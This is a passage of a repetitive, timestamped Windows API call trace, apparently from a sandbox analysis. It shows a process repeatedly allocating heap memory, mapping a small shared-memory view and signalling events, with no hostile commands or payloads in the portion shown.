0x0 [0072.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.229] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.229] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.229] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.229] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.229] ResetEvent (hEvent=0x110) returned 1 [0072.229] SetEvent (hEvent=0x114) returned 1 [0072.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.229] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.229] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.229] ResetEvent (hEvent=0x110) returned 1 [0072.229] SetEvent (hEvent=0x114) returned 1 [0072.263] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.263] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.264] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.264] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.264] ResetEvent (hEvent=0x110) returned 1 [0072.264] SetEvent (hEvent=0x114) returned 1 [0072.264] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.264] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.264] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.264] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.264] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.264] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.264] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.264] ResetEvent (hEvent=0x110) returned 1 [0072.264] SetEvent (hEvent=0x114) returned 1 [0072.264] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.264] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.265] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.265] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.265] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.265] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.265] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.265] ResetEvent (hEvent=0x110) returned 1 [0072.265] SetEvent (hEvent=0x114) returned 1 [0072.265] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.265] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.265] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.265] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.265] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.265] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.265] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.265] ResetEvent (hEvent=0x110) returned 1 [0072.265] SetEvent (hEvent=0x114) returned 1 [0072.265] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.265] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.266] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.266] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.266] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.266] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.266] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.266] ResetEvent (hEvent=0x110) returned 1 [0072.266] SetEvent (hEvent=0x114) returned 1 [0072.266] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.266] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.266] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.266] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.266] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.266] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.266] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.266] ResetEvent (hEvent=0x110) returned 1 [0072.266] SetEvent (hEvent=0x114) returned 1 [0072.266] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.266] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.267] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.267] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.267] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.267] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.267] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.267] ResetEvent (hEvent=0x110) returned 1 [0072.267] SetEvent (hEvent=0x114) returned 1 [0072.267] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.267] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.267] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.267] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.267] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.267] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.267] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.267] ResetEvent (hEvent=0x110) returned 1 [0072.267] SetEvent (hEvent=0x114) returned 1 [0072.267] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.267] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.268] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.268] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.268] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.268] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.268] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.268] ResetEvent (hEvent=0x110) returned 1 [0072.268] SetEvent (hEvent=0x114) returned 1 [0072.268] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.268] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.268] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.268] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.268] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.268] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.268] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.268] ResetEvent (hEvent=0x110) returned 1 [0072.268] SetEvent (hEvent=0x114) returned 1 [0072.268] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.268] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.269] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.269] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.269] ResetEvent (hEvent=0x110) returned 1 [0072.269] SetEvent (hEvent=0x114) returned 1 [0072.269] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.269] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.269] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.269] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.269] ResetEvent (hEvent=0x110) returned 1 [0072.269] SetEvent (hEvent=0x114) returned 1 [0072.269] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.269] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.269] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.269] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.269] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.269] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.269] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.270] ResetEvent (hEvent=0x110) returned 1 [0072.270] SetEvent (hEvent=0x114) returned 1 [0072.270] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.270] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.270] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.270] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.270] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.270] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.270] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.270] ResetEvent (hEvent=0x110) returned 1 [0072.270] SetEvent (hEvent=0x114) returned 1 [0072.270] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.270] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.270] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.270] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.270] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.270] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.271] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.271] ResetEvent (hEvent=0x110) returned 1 [0072.271] SetEvent (hEvent=0x114) returned 1 [0072.271] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.271] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.271] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.271] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.271] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.271] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.271] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.271] ResetEvent (hEvent=0x110) returned 1 [0072.271] SetEvent (hEvent=0x114) returned 1 [0072.271] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.271] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.271] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.271] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.271] ResetEvent (hEvent=0x110) returned 1 [0072.271] SetEvent (hEvent=0x114) returned 1 [0072.272] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.272] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.272] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.272] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.272] ResetEvent (hEvent=0x110) returned 1 [0072.272] SetEvent (hEvent=0x114) returned 1 [0072.272] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.272] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.272] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.272] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.272] ResetEvent (hEvent=0x110) returned 1 [0072.272] SetEvent (hEvent=0x114) returned 1 [0072.272] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.272] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.273] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.273] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.273] ResetEvent (hEvent=0x110) returned 1 [0072.273] SetEvent (hEvent=0x114) returned 1 [0072.273] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.273] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.273] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.273] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.273] ResetEvent (hEvent=0x110) returned 1 [0072.273] SetEvent (hEvent=0x114) returned 1 [0072.273] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.273] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.273] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.273] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.273] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.273] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.273] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.273] ResetEvent (hEvent=0x110) returned 1 [0072.273] SetEvent (hEvent=0x114) returned 1 [0072.274] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.274] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.274] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.274] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.274] ResetEvent (hEvent=0x110) returned 1 [0072.274] SetEvent (hEvent=0x114) returned 1 [0072.274] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.274] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.274] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.274] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.274] ResetEvent (hEvent=0x110) returned 1 [0072.274] SetEvent (hEvent=0x114) returned 1 [0072.274] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.274] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.274] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.275] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.275] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.275] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.275] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.275] ResetEvent (hEvent=0x110) returned 1 [0072.275] SetEvent (hEvent=0x114) returned 1 [0072.275] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.275] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.275] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.275] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.275] ResetEvent (hEvent=0x110) returned 1 [0072.275] SetEvent (hEvent=0x114) returned 1 [0072.275] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.275] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.275] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.275] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.275] ResetEvent (hEvent=0x110) returned 1 [0072.275] SetEvent (hEvent=0x114) returned 1 [0072.276] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.276] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.276] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.276] NtQueryObject (in: Handle=0x198, 